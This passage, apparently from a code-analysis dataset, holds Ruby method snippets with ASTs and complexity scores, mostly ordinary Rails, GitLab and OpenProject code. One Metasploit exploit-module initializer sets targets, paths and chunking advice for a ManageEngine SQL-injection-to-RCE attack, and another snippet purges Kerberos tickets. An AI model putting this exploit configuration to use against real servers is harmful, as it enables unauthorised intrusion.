e\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"/**/*\"]}]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pattern\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"sub\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_dir\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_dir\"]}]},{\"type\":\"str\",\"children\":[\"/{\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"patterns\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"str\",\"children\":[\"}\"]}]}]}]}","id":"c9f2e498-d827-400e-a44a-8257adc871b9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb","start_line":373,"raw_source":"def cmd_kerberos_ticket_purge(*args)\n    client.kiwi.kerberos_ticket_purge\n    print_good('Kerberos tickets purged')\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_kerberos_ticket_purge\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"kiwi\"]},\"kerberos_ticket_purge\"]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Kerberos tickets purged\"]}]}]}]}","id":"6e18b580-2ae7-42f8-9eac-f340fedee319"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/lsp/runtime.rb","start_line":22,"raw_source":"def initialize(config_store)\n        RuboCop::LSP.enable\n\n        @runner = RuboCop::Lsp::StdinRunner.new(config_store)\n        @cop_registry = RuboCop::Cop::Registry.global.to_h\n\n        @safe_autocorrect = true\n        @lint_mode = false\n        @layout_mode = false\n      end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config_store\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuboCop\"]},\"LSP\"]},\"enable\"]},{\"type\":\"ivasgn\",\"children\":[\"@runner\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuboCop\"]},\"Lsp\"]},\"StdinRunner\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"config_store\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@cop_registry\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuboCop\"]},\"Cop\"]},\"Registry\"]},\"global\"]},\"to_h\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@safe_autocorrect\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@lint_mode\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@layout_mode\",{\"type\":\"false\",\"children\":[]}]}]}]}","id":"96190956-aa9c-4fbc-b677-cd09118f2ecf"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/workers/backup_job_spec.rb","start_line":161,"raw_source":"def backed_up_attachment(attachment)\n        \"attachment/file/#{attachment.id}/#{attachment.filename}\"\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"backed_up_attachment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attachment\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"attachment/file/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"filename\"]}]}]}]}","id":"265cb9ca-47e9-4e99-a7b5-17170fed5a42"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/crm/organizations_finder.rb","start_line":29,"raw_source":"def execute\n      group = params[:group]&.crm_group\n      return CustomerRelations::Organization.none unless group && can?(@current_user, :read_crm_organization, group)\n\n      crm_organizations = group.crm_organizations\n      crm_organizations = by_ids(crm_organizations)\n      crm_organizations = by_search(crm_organizations)\n      crm_organizations = by_state(crm_organizations)\n      sort_crm_organizations(crm_organizations)\n    end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group\"]}]},\"crm_group\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"ivar\",\"children\":[\"@current_user\"]},{\"type\":\"sym\",\"children\":[\"read_crm_organization\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomerRelations\"]},\"Organization\"]},\"none\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"crm_organizations\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"crm_organizations\"]}]},{\"type\":\"lvasgn\",\"children\":[\"crm_organizations\",{\"type\":\"send\",\"children\":[null,\"by_ids\",{\"type\":\"lvar\",\"children\":[\"crm_organizations\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"crm_organizations\",{\"type\":\"send\",\"children\":[null,\"by_search\",{\"type\":\"lvar\",\"children\":[\"crm_organizations\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"crm_organizations\",{\"type\":\"send\",\"children\":[null,\"by_state\",{\"type\":\"lvar\",\"children\":[\"crm_organizations\"]}]}]},{\"type\":\"send\",\"children\":[null,\"sort_crm_organizations\",{\"type\":\"lvar\",\"children\":[\"crm_organizations\"]}]}]}]}","id":"3532573c-0bc0-4843-9de7-e65bcbd03364"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/time_with_zone.rb","start_line":237,"raw_source":"def strftime(format)\n      format = format.gsub(/((?:\\A|[^%])(?:%%)*)%Z/, \"\\\\1#{zone}\")\n      getlocal(utc_offset).strftime(format)\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"strftime\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"format\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"((?:\\\\A|[^%])(?:%%)*)%Z\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\1\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"zone\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"getlocal\",{\"type\":\"send\",\"children\":[null,\"utc_offset\"]}]},\"strftime\",{\"type\":\"lvar\",\"children\":[\"format\"]}]}]}]}","id":"f7d97c8a-95ae-4270-bf95-104ff5bd6e89"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/projects/exports/pdf_export/table_of_content.rb","start_line":117,"raw_source":"def toc_indent_list_third_level(levels, level_max_widths)\n      indent_list = []\n      first_section = level_max_widths[0..1].max || 0\n      second_section = level_max_widths[2..].max || 0\n      levels.each do |level|\n        if level < 3\n          indent_list.push({ level_indent: 0, subject_index: first_section })\n        else\n          indent_list.push({ level_indent: first_section, subject_index: first_section + second_section })\n        end\n      end\n      indent_list\n    end","complexity_score":18.5,"ast_json":"{\"type\":\"def\",\"children\":[\"toc_indent_list_third_level\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"levels\"]},{\"type\":\"arg\",\"children\":[\"level_max_widths\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"indent_list\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"first_section\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"level_max_widths\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]}]},\"max\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"second_section\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"level_max_widths\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[2]},null]}]},\"max\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"levels\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"level\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"level\"]},\"<\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indent_list\"]},\"push\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level_indent\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject_index\"]},{\"type\":\"lvar\",\"children\":[\"first_section\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indent_list\"]},\"push\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level_indent\"]},{\"type\":\"lvar\",\"children\":[\"first_section\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject_index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_section\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"second_section\"]}]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"indent_list\"]}]}]}","id":"3b258296-af76-4f57-8b16-9adc7f27a64a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/members/access_denied_mailer.rb","start_line":25,"raw_source":"def source_hidden?\n      !member_source.readable_by?(user)\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"source_hidden?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"member_source\"]},\"readable_by?\",{\"type\":\"send\",\"children\":[null,\"user\"]}]},\"!\"]}]}","id":"8229de05-0cfa-4528-b079-bce3ceeef6c1"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/base.rb","start_line":1033,"raw_source":"def create_user_associated_accounts(rows, &block)\n    create_records(rows, \"user_associated_account\", USER_ASSOCIATED_ACCOUNT_COLUMNS, &block)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_user_associated_accounts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rows\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"create_records\",{\"type\":\"lvar\",\"children\":[\"rows\"]},{\"type\":\"str\",\"children\":[\"user_associated_account\"]},{\"type\":\"const\",\"children\":[null,\"USER_ASSOCIATED_ACCOUNT_COLUMNS\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"ac07475a-d0d7-4537-b9e1-30c390be1d30"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/deliver/lib/deliver/screenshot_comparable.rb","start_line":44,"raw_source":"def self.calculate_checksum(path)\n      bytes = File.binread(path)\n      Digest::MD5.hexdigest(bytes)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"calculate_checksum\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bytes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"binread\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"MD5\"]},\"hexdigest\",{\"type\":\"lvar\",\"children\":[\"bytes\"]}]}]}]}","id":"e59fac99-be7c-4e3f-b807-898e4c17087f"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/form_options_helper.rb","start_line":400,"raw_source":"def options_from_collection_for_select(collection, value_method, text_method, selected = nil)\n        options = collection.map do |element|\n          [value_for_collection(element, text_method), value_for_collection(element, value_method), option_html_attributes(element)]\n        end\n        selected, disabled = extract_selected_and_disabled(selected)\n        select_deselect = {\n          selected: extract_values_from_collection(collection, value_method, selected),\n          disabled: extract_values_from_collection(collection, value_method, disabled)\n        }\n\n        options_for_select(options, select_deselect)\n      end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"options_from_collection_for_select\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"collection\"]},{\"type\":\"arg\",\"children\":[\"value_method\"]},{\"type\":\"arg\",\"children\":[\"text_method\"]},{\"type\":\"optarg\",\"children\":[\"selected\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collection\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value_for_collection\",{\"type\":\"lvar\",\"children\":[\"element\"]},{\"type\":\"lvar\",\"children\":[\"text_method\"]}]},{\"type\":\"send\",\"children\":[null,\"value_for_collection\",{\"type\":\"lvar\",\"children\":[\"element\"]},{\"type\":\"lvar\",\"children\":[\"value_method\"]}]},{\"type\":\"send\",\"children\":[null,\"option_html_attributes\",{\"type\":\"lvar\",\"children\":[\"element\"]}]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"selected\"]},{\"type\":\"lvasgn\",\"children\":[\"disabled\"]}]},{\"type\":\"send\",\"children\":[null,\"extract_selected_and_disabled\",{\"type\":\"lvar\",\"children\":[\"selected\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"select_deselect\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"selected\"]},{\"type\":\"send\",\"children\":[null,\"extract_values_from_collection\",{\"type\":\"lvar\",\"children\":[\"collection\"]},{\"type\":\"lvar\",\"children\":[\"value_method\"]},{\"type\":\"lvar\",\"children\":[\"selected\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disabled\"]},{\"type\":\"send\",\"children\":[null,\"extract_values_from_collection\",{\"type\":\"lvar\",\"children\":[\"collection\"]},{\"type\":\"lvar\",\"children\":[\"value_method\"]},{\"type\":\"lvar\",\"children\":[\"disabled\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"options_for_select\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"select_deselect\"]}]}]}]}","id":"b5aa2599-1ce7-4bb5-9d32-8f9db3310993"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/app/controllers/cost_reports_controller.rb","start_line":274,"raw_source":"def group_params\n    groups = http_group_parameters if set_filter?\n    groups ||= session[session_name].try(:[], :groups)\n    groups || default_group_parameters\n  end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"group_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_filter?\"]},{\"type\":\"lvasgn\",\"children\":[\"groups\",{\"type\":\"send\",\"children\":[null,\"http_group_parameters\"]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"groups\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"session_name\"]}]},\"try\",{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"sym\",\"children\":[\"groups\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},{\"type\":\"send\",\"children\":[null,\"default_group_parameters\"]}]}]}]}","id":"eb88227c-e760-4fbc-bafc-479002d71b1e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection\",\n        'Description' => %q{\n          This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet,\n          which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and\n          Password Manager Pro v6 build 6500 to v7 build 7002 (including the MSP versions). The\n          SQL injection can be used to achieve remote code execution as SYSTEM in Windows or as\n          the user in Linux. This module exploits both PostgreSQL (newer builds) and MySQL (older\n          or upgraded builds). MySQL targets are more reliable due to the use of relative paths;\n          with PostgreSQL you should find the web root path via other means and specify it with\n          WEB_ROOT.\n\n          The injection is only exploitable via a GET request, which means that the payload\n          has to be sent in chunks smaller than 8000 characters (URL size limitation). Small\n          payloads and the use of exe-small is recommended, as you can only do between 10 and\n          20 injections before using up all the available ManagedConnections until the next\n          server restart.\n\n          This vulnerability exists in all versions released since 2006, however builds below\n          DC v7 70200 and PMP v6 6500 do not ship with a JSP compiler. You can still try your\n          luck using the MySQL targets as a JDK might be installed in the $PATH.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module\n        ],\n        'References' => [\n          [ 'CVE', '2014-3996' ],\n          [ 'OSVDB', '110198' ],\n          [ 'URL', 'https://seclists.org/fulldisclosure/2014/Aug/55' ]\n        ],\n        'Arch' => ARCH_X86,\n        'Platform' => %w{linux win},\n        'Targets' => [\n          [ 'Automatic', {} ],\n          [\n            'Desktop Central v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows',\n            {\n              'WebRoot' => 'C:\\\\ManageEngine\\\\DesktopCentral_Server\\\\webapps\\\\DesktopCentral\\\\',\n              'Database' => 'postgresql',\n              'Platform' => 'win'\n            }\n          ],\n          [\n            'Desktop Central MSP v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows',\n            {\n              'WebRoot' => 'C:\\\\ManageEngine\\\\DesktopCentralMSP_Server\\\\webapps\\\\DesktopCentral\\\\',\n              'Database' => 'postgresql',\n              'Platform' => 'win'\n            }\n          ],\n          [\n            'Desktop Central [MSP] v7 >= b70200 / v8 / v9 < b90039 (MySQL) on Windows',\n            {\n              'WebRoot' => '../../webapps/DesktopCentral/',\n              'Database' => 'mysql',\n              'Platform' => 'win'\n            }\n          ],\n          [\n            'Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Windows',\n            {\n              'WebRoot' => 'C:\\\\ManageEngine\\\\PMP\\\\webapps\\\\PassTrix\\\\',\n              'Database' => 'postgresql',\n              'Platform' => 'win'\n            }\n          ],\n          [\n            'Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Windows',\n            {\n              'WebRoot' => '../../webapps/PassTrix/',\n              'Database' => 'mysql',\n              'Platform' => 'win'\n            }\n          ],\n          [\n            'Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Linux',\n            {\n              'WebRoot' => '/opt/ManageEngine/PMP/webapps/PassTrix/',\n              'Database' => 'postgresql',\n              'Platform' => 'linux'\n            }\n          ],\n          [\n            'Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Linux',\n            {\n              'WebRoot' => '../../webapps/PassTrix/',\n              'Database' => 'mysql',\n              'Platform' => 'linux'\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'Privileged' => false, # Privileged on Windows but not on Linux targets\n        'DisclosureDate' => '2014-06-08',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptPort.new('RPORT',\n                    [true, 'The target port', 8020]),\n        OptString.new('WEB_ROOT',\n                      [false, 'Slash terminated web server root filepath (escape Windows paths with 4 slashes \\\\\\\\\\\\\\\\)'])\n      ]\n    )\n\n    register_advanced_options(\n      [\n        OptInt.new('CHUNK_SIZE',\n                   [true, 'Number of characters to send per request (< 7800)', 7500]),\n        OptInt.new('SLEEP',\n                   [true, 'Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)', 2]),\n        OptBool.new('EXE_SMALL',\n                    [true, 'Use exe-small encoding for better reliability', true]),\n      ]\n    )\n  end","complexity_score":12.05,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet,\\n\"]},{\"type\":\"str\",\"children\":[\"          which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and\\n\"]},{\"type\":\"str\",\"children\":[\"          Password Manager Pro v6 build 6500 to v7 build 7002 (including the MSP versions). The\\n\"]},{\"type\":\"str\",\"children\":[\"          SQL injection can be used to achieve remote code execution as SYSTEM in Windows or as\\n\"]},{\"type\":\"str\",\"children\":[\"          the user in Linux. This module exploits both PostgreSQL (newer builds) and MySQL (older\\n\"]},{\"type\":\"str\",\"children\":[\"          or upgraded builds). MySQL targets are more reliable due to the use of relative paths;\\n\"]},{\"type\":\"str\",\"children\":[\"          with PostgreSQL you should find the web root path via other means and specify it with\\n\"]},{\"type\":\"str\",\"children\":[\"          WEB_ROOT.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The injection is only exploitable via a GET request, which means that the payload\\n\"]},{\"type\":\"str\",\"children\":[\"          has to be sent in chunks smaller than 8000 characters (URL size limitation). Small\\n\"]},{\"type\":\"str\",\"children\":[\"          payloads and the use of exe-small is recommended, as you can only do between 10 and\\n\"]},{\"type\":\"str\",\"children\":[\"          20 injections before using up all the available ManagedConnections until the next\\n\"]},{\"type\":\"str\",\"children\":[\"          server restart.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This vulnerability exists in all versions released since 2006, however builds below\\n\"]},{\"type\":\"str\",\"children\":[\"          DC v7 70200 and PMP v6 6500 do not ship with a JSP compiler. You can still try your\\n\"]},{\"type\":\"str\",\"children\":[\"          luck using the MySQL targets as a JDK might be installed in the $PATH.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Pedro Ribeiro <pedrib[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-3996\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"110198\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://seclists.org/fulldisclosure/2014/Aug/55\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Desktop Central v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WebRoot\"]},{\"type\":\"str\",\"children\":[\"C:\\\\ManageEngine\\\\DesktopCentral_Server\\\\webapps\\\\DesktopCentral\\\\\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Database\"]},{\"type\":\"str\",\"children\":[\"postgresql\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Desktop Central MSP v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WebRoot\"]},{\"type\":\"str\",\"children\":[\"C:\\\\ManageEngine\\\\DesktopCentralMSP_Server\\\\webapps\\\\DesktopCentral\\\\\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Database\"]},{\"type\":\"str\",\"children\":[\"postgresql\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Desktop Central [MSP] v7 >= b70200 / v8 / v9 < b90039 (MySQL) on Windows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WebRoot\"]},{\"type\":\"str\",\"children\":[\"../../webapps/DesktopCentral/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Database\"]},{\"type\":\"str\",\"children\":[\"mysql\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on 